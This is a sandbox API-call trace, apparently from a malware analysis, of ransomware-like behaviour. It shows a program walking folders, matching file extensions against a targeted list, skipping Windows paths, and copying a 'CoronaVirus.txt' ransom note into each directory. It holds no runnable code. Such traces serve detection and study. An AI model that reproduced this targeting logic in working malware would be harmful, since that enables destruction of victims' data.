	[0082.185] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.185] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.185] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.185] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.185] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.185] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.185] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.185] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0082.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.186] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0082.186] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.187] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0082.187] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.187] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0082.187] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.187] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0082.187] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.187] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0082.187] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.187] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0082.187] malloc (_Size=0x1000) returned 0x2f13060
	[0082.187] _swprintf (in: param_1=0x2f13060, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0082.187] wcsstr (_Str="C:\\588bce7c90097ed212\\2070\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0082.187] wcsstr (_Str="C:\\588bce7c90097ed212\\2070\\eula.rtf", _SubStr="wasse") returned 0x0
	[0082.187] wcsstr (_Str="C:\\588bce7c90097ed212\\2070\\eula.rtf", _SubStr="passw") returned 0x0
	[0082.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f13060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0
	[0082.187] SetThreadPriority (hThread=0x4c0, nPriority=15) returned 1
	[0082.192] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0082.192] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0082.192] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0082.192] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.192] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0082.194] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.194] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0082.194] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.194] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0082.194] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.194] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0082.194] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.194] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0082.194] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.194] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0082.195] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.195] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0082.195] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.198] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0082.198] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.198] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0082.198] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.198] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0082.198] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.198] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0082.199] malloc (_Size=0x1000) returned 0x2f13060
	[0082.199] _swprintf (in: param_1=0x2f13060, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0082.199] wcsstr (_Str="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0082.199] wcsstr (_Str="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0082.199] wcsstr (_Str="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0082.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f13060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4
	[0082.199] SetThreadPriority (hThread=0x4c4, nPriority=15) returned 1
	[0082.201] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0082.201] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0082.201] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0082.201] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.201] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.201] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.201] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0082.208] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.208] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0082.208] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.208] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0082.208] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.208] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0082.208] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.208] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0082.208] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.208] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0082.208] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.208] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0082.208] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.208] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0082.208] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.220] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0082.220] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.220] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0082.220] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.220] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0082.220] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.220] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0082.221] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.221] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0082.222] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.222] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0082.223] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.223] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0082.223] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.223] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0082.223] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.223] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0082.223] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.223] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0082.223] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.223] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.223] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.223] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0082.223] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0082.223] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0082.223] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3076", cAlternateFileName="")) returned 1
	[0082.223] wcsncmp (_String1="3", _String2=".", _MaxCount=0x1) returned 5
	[0082.223] wcsncmp (_String1="30", _String2="..", _MaxCount=0x2) returned 5
	[0082.223] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\3076") returned 26
	[0082.223] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0082.223] wcsstr (_Str="C:\\588bce7c90097ed212\\3076", _SubStr="Microsoft\\Windows") returned 0x0
	[0082.223] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\3076\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0082.228] _alloca_probe () returned 0x4036d0
	[0082.228] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\3076", lpFilePart=0x316583c*="3076") returned 0x1a
	[0082.229] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea5d6ea9, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6009d0
	[0082.229] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.229] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea5d6ea9, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.229] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.229] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5d6ea9, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xea5d6ea9, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0082.229] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0082.229] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0082.229] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.229] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0082.229] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.229] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0082.229] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.229] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0082.229] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.229] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0082.229] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.229] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0082.229] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.229] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0082.229] malloc (_Size=0x1000) returned 0x2f27540
	[0082.229] _swprintf (in: param_1=0x2f27540, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\3076\\CoronaVirus.txt") returned 42
	[0082.229] wcsstr (_Str="C:\\588bce7c90097ed212\\3076\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0082.229] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0082.229] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0082.229] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0082.229] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.229] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0082.229] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.229] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.230] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0082.230] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.231] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
